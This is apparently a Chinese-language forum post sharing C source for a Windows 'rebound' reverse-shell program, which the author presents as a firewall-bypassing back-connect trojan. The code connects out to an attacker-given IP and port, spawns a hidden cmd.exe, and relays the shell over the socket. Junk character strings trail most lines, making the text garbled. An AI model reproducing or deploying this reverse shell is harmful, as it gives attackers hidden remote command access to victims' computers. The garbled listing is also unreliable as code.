这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 +6Fdi*:
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/* ============================== z ex.0OT;
Rebound port in Windows NT SIVLYi
By wind,2006/7 X^ ]$/rI)
===============================*/ yl+)I
#include K[yJu 4
#include _eeX]xSSl
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#pragma comment(lib,"wsock32.lib") csA.3|rv
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void OutputShell(); w^6N
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SOCKET sClient; 3EX&.OL!
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; v?=VZ~`O(
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void main(int argc,char **argv) *H<g9<Dn
{ QgM_SY|Rj
WSADATA stWsaData; ~g6[ [
int nRet; )$N{(Cke2T
SOCKADDR_IN stSaiClient,stSaiServer; =WRU<`\
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if(argc != 3) 5 9HaTq
{ jY6=+9Jz5
printf("Useage:\n\rRebound DestIP DestPort\n"); rd~W.b_b
return; dnc!=Z89
} (mr`?LI}
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WSAStartup(MAKEWORD(2,2),&stWsaData); ;4#8#;
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); s-S"\zX\D
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stSaiClient.sin_family = AF_INET; bjX$idL
stSaiClient.sin_port = htons(0); YHtI%
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); aq| [g
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) w[[@&T\`
{ fx"+ZR
printf("Bind Socket Failed!\n"); s(LqhF[N2]
return; qinQ5 t
} PBnn,#
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stSaiServer.sin_family = AF_INET; ,qqV11P]
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 1h0ohW
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Ybg`Z
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) KTJ$#1q
{ Q*{
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printf("Connect Error!"); V]cY+4Y
return; 1OeDWEcB
} )O(Gw-jWE
OutputShell(); u<2sb;a
} 7ij=%if2@k
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void OutputShell() Ci:QIsu*
{ D4-U[l+K>
char szBuff[1024]; -iX!F~qS,
SECURITY_ATTRIBUTES stSecurityAttributes;
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OSVERSIONINFO stOsversionInfo; 5-po>1g'
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; y_r6T
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STARTUPINFO stStartupInfo; ts$UC $
char *szShell; G\AQql(f4
PROCESS_INFORMATION stProcessInformation; a-5$GvG
unsigned long lBytesRead; 55KL^+-~
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); IsL/p3|
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); |?W
stSecurityAttributes.lpSecurityDescriptor = 0; 8{e 3
stSecurityAttributes.bInheritHandle = TRUE; ;S j* {
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); E:OeU_\
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); \H12~=p`B
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Lj,%pz J
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; pU/.|Sh
stStartupInfo.wShowWindow = SW_HIDE; 4w[ta?&6B
stStartupInfo.hStdInput = hReadPipe; A+8b]t_k
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; K.zs;^
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GetVersionEx(&stOsversionInfo); EHjhez
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switch(stOsversionInfo.dwPlatformId) [AwE
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case 1: c:T P7"vG
szShell = "command.com"; =Ji:nEl]z
break; dj]N59<
default: 6*Qpq7Ml
szShell = "cmd.exe"; xb>+~5 9:
break; r"{1H
} 5E=Odep`
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); J n/=v\K@
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send(sClient,szMsg,77,0); rJwJ5U
while(1) [X]o`
{ t]XJq
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); $Yc9><i
if(lBytesRead) ^f]pK&MAmN
{ WLb7]rCTp
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); u>#'Y+7
send(sClient,szBuff,lBytesRead,0); N"y4#W(Z@
} `-m7CT sA
else ,//=yW
{ =G6@:h=
lBytesRead=recv(sClient,szBuff,1024,0); |7'W)s5.
if(lBytesRead<=0) break; M$9h)3(B
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); y0]O 6.{
} r>o6}Mx$
} Vo[4\h#$
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return; *ni|I@8
}